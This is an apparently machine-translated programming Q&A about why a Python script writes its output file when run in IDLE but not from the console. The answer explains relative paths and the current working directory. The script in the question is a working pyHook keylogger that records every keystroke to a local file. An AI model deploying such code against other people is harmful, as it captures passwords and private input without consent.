打开的Python脚本('文件名')与IDLE一起使用但在控制台中不起作用

时间:2016-08-02 01:57:16

标签: python python-2.7 file console python-idle

我试图在python中创建这个简单的键盘记录器,当我在IDLE中运行时它工作正常,但在控制台中它不会将日志写入文件。

import pyHook, pythoncom, sys

log = ''

def OnKeyPress(event):    
    global log
    log += chr(event.Ascii)

    if event.Ascii == 27: # if user press esc
        with open('teste27.txt', 'a') as f:
            f.write(log)                
            f.close()
            sys.exit(0)


#instantiate HookManager class  
new_hook = pyHook.HookManager()
#listen to all keystrokes
new_hook.KeyDown = OnKeyPress
#Hook the keyboard 
new_hook.HookKeyboard()
#start the session 
pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:0)

为了对他人有所帮助,问题中的问题需要解释。打开(文件路径)'使用相对路径,例如' something.txt',将打开相对于当前工作目录的文件'。对于简单的文件名,这意味着在当前的工作目录(CWD)。

当IDLE在编辑器中运行代码时,它会使新进程的当前工作目录运行代码作为代码目录。 (忽略IDLE过程的CWD。)因此,如果您正在编辑r' C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ teste27.py',则打开' teste27。 TXT'确实会打开r' C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ teste27.txt'。

控制台是一个带有CWD的正在运行的程序。对于大多数控制台,默认提示包括CWD。当您从控制台运行程序时,它继承CWD amd与该CWD一起运行,除非并且直到程序更改它。一定是你没有制作r' C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \'控制台的CWD,而是通过提供程序路径在其他地方运行程序:" python somepath / teste27.py"。你应该找到一个迷路的“teste27.txt”#39;无论你在哪个CWD中启动该程序。

您可以避免添加' r'使用正斜杠到路径。 ' C:/Users/henrique/Documents/Programas/Python/Keylogger/teste27.txt' ;.当您为程序提供运行路径时,唯一一次必须在Windows上使用反斜杠。

当您在目录中打开多个文件时,另一种解决方案是将该目录设为CWD。例如,

import os
os.chdir('C:/Users/henrique/Documents/Programas/Python/Keylogger')

然后打开(texte27.txt)'会按你的意愿工作。